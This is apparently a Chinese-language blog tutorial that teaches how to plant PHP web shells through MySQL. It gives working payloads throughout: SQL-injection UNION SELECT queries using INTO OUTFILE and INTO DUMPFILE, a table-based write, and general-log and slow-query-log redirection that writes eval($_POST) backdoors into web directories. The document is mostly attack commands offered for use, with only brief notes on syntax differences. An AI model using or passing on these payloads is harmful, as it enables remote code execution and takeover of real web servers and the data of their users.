2025最全mysql getshell教程
原创2025/5/31大约 2 分钟
Mysql 写入shell方法
sql语句写入文件
sql语句直接写
直接写shell条件
拥有网站的写入权限
Secure_file_priv参数为空或者为指定路径
知道网站的绝对路径
先看有没有Secure_file_priv参数的值:
?id=1'union select 1,2,show global variables like '%Secure_file_priv%'调用outfile去写:
?id=1 UNION ALL SELECT 1,2,'<?php eval($_POST["hacker"]);?>' into outfile '/var/www/html/haha.php'#调用dumpfile去写:
?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into dumpfile '/var/www/html/haha.php'#无法使用联合查询时,我们可以使用fields terminated by与lines terminated by来写shell
?id=1 into outfile '/var/www/html/haha.php' FIELDS TERMINATED BY '<?php phpinfo();?>'#outfile和dumpfile的区别
outfile:
1、 支持多行数据同时导出
2、 使用union联合查询时,要保证两侧查询的列数相同>
3、 会在换行符制表符后面追加反斜杠
4、会在末尾追加换行
dumpfile:
1、 每次只能导出一行数据
2、 不会在换行符制表符后面追加反斜杠
3、 不会在末尾追加换行
间接写入shell
先创建相关变量
CREATE TABLE shell(cmd text);
INSERT INTO shell(cmd) VALUES('<?php @eval($_POST[CMD]);?>');
SELECT cmd from shell INTO OUTFILE 'D:\phpstudy_pro\WWW\shell.php';日志写shell
如果outfile被禁止,或者写入文件被拦截,没写权限 ,但是有root权限
show variables like '%general%'; --查看日志是否开启,注意要记录下原地址方便恢复
set global general_log = on; --开启日志监测,默认关闭(如果一直开文件会很大的)
set global general_log_file = 'D:\\phpstudy_pro\\WWW\\log.php'; --设置日志路径
select "<?php @eval($_POST['attack']);?>"; --执行查询,写入shell

慢日志写shell
set global slow_query_log = "ON";
set global slow_query_log_file = 'D:\\phpstudy_pro\\WWW\\slow_log.php';
show global variables like "%slow_query_log%";
select "<?php @eval($_POST['attack']);?>" or sleep(11);

